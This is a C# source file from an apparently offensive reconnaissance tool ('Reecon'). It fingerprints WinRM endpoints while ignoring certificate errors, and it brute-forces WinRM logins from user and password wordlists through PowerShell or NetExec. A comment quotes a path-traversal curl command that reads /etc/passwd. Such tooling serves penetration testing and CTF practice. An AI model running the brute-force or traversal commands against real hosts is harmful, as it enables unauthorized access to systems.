-
Notifications
You must be signed in to change notification settings - Fork 4
/
WinRM.cs
198 lines (188 loc) · 8.48 KB
/
WinRM.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Text;
namespace Reecon
{
class WinRM
{
public static (string, string) GetInfo(string ip, int port)
{
// TODO: Figure out how to do basic evil-winrm.rb connections
// evil-winrm.rb -i 10.10.10.161
string returnInfo = "";
// Yes = I know it's obsolete - Need to fix this some day...
WebClient wc = new();
wc.Headers.Add("Content-Type", "application/soap+xml;charset=UTF-8");
// Fix for invalid SSL Certs
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(
delegate { return true; }
);
// Test: CSL Potato (CyberSecLabs no longer seems to exist, so...)
Byte[] byteData = Encoding.ASCII.GetBytes("dsadsasa");
try
{
if (port == 5986)
{
wc.UploadData("https://" + ip + ":" + port + "/wsman", byteData);
}
else
{
wc.UploadData("http://" + ip + ":" + port + "/wsman", byteData);
}
returnInfo = "- wsman upload returned no error - Bug Reelix";
}
catch (WebException wex)
{
if (((HttpWebResponse)wex.Response).StatusCode == HttpStatusCode.Unauthorized)
{
foreach (string item in wex.Response.Headers)
{
string headerName = item;
string headerValue = wex.Response.Headers[headerName];
if (headerName == "Server")
{
returnInfo += "- Server: " + headerValue + Environment.NewLine;
// https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=34561
// Aiohttp versions from and including 1.0.5 and before 3.9.2
// Eg: curl --path-as-is host.com/data/../../../../../../../../../../../etc/passwd
// - Server: Python/3.9 aiohttp/3.9.1
}
else if (headerName == "WWW-Authenticate")
{
returnInfo += "- Authentication Methods: " + headerValue + Environment.NewLine;
}
}
if (returnInfo == "")
{
returnInfo = "- wsman found, but headers are weird - Bug Reelix";
}
}
else if (((HttpWebResponse)wex.Response).StatusCode == HttpStatusCode.NotFound)
{
bool isProbablyWinRM = false;
bool containsAuthentication = false;
foreach (string item in wex.Response.Headers)
{
string headerName = item;
string headerValue = wex.Response.Headers[headerName];
if (headerName == "Server")
{
returnInfo += "- Server: " + headerValue + Environment.NewLine;
if (headerValue == "Microsoft-HTTPAPI/2.0")
{
isProbablyWinRM = true;
}
}
else if (headerName == "WWW-Authenticate")
{
returnInfo += "- Authentication Methods: " + headerValue + Environment.NewLine;
containsAuthentication = true;
}
}
if (!containsAuthentication)
{
returnInfo += "- Authentication Methods: None";
}
else if (!isProbablyWinRM)
{
returnInfo += "- No wsman found - Probably not WinRM";
}
}
else if (((HttpWebResponse)wex.Response).StatusCode == HttpStatusCode.ServiceUnavailable)
{
returnInfo += "- Service Unavailable (It's broken)";
}
else
{
returnInfo += "- Unknown response: " + ((HttpWebResponse)wex.Response).StatusCode + " - Bug Reelix";
}
}
returnInfo = returnInfo.Trim(Environment.NewLine.ToCharArray());
return ("WinRM", returnInfo);
}
public static void WinRMBrute(string[] args)
{
if (args.Length != 4)
{
Console.WriteLine("WinRM Brute Usage: reecon -winrm-brute IP Userfile Passfile");
return;
}
string ip = args[1];
string userFile = args[2];
string passFile = args[3];
// Windows: Only files
if (General.GetOS() == General.OS.Windows)
{
if (!File.Exists(userFile))
{
Console.WriteLine("Unable to find UserFile: " + userFile);
return;
}
if (!File.Exists(passFile))
{
Console.WriteLine("Unable to find Passfile: " + passFile);
return;
}
WinRMBrute_Windows(ip, userFile, passFile);
}
// Linux takes either
else
{
WinRMBrute_Linux(ip, userFile, passFile);
}
}
private static void WinRMBrute_Windows(string ip, string userFile, string passFile)
{
List<string> userList = File.ReadAllLines(userFile).ToList();
List<string> passList = File.ReadAllLines(passFile).ToList();
// Perms
List<string> permLines = General.GetProcessOutput("powershell", @"Set-Item WSMan:\localhost\Client\TrustedHosts " + ip + " -Force");
if (permLines.Count != 0)
{
if (permLines[0].Trim() == "Set-Item : Access is denied.")
{
Console.WriteLine("You need to run Reecon in an Administrative console for this functionality");
return;
}
}
foreach (string user in userList)
{
foreach (string pass in passList)
{
Console.Write("Testing " + user + ":" + pass + " - ");
List<string> processResult = General.GetProcessOutput("powershell", "$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ('" + user + "', (ConvertTo-SecureString \"" + pass + "\" -AsPlainText -Force)); Test-WSMan -ComputerName " + ip + " -Credential $creds -Authentication Negotiate -erroraction SilentlyContinue");
if (processResult.Count != 0)
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Success!");
Console.ForegroundColor = ConsoleColor.White;
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Failed");
Console.ForegroundColor = ConsoleColor.White;
}
}
}
General.RunProcess("powershell", @"Set-Item WSMan:\localhost\Client\TrustedHosts '' -Force");
}
private static void WinRMBrute_Linux(string ip, string userFile, string passFile)
{
// This is currently just a nxc wrapper until I figure out a better way to do it.
if (General.IsInstalledOnLinux("nxc", ""))
{
Console.WriteLine("Starting - Please wait...");
General.RunProcessWithOutput("nxc", "winrm " + ip + " -u " + userFile + " -p " + passFile);
}
else
{
Console.WriteLine("This requires NetExec -> https://github.com/Pennyw0rth/NetExec");
}
}
}
}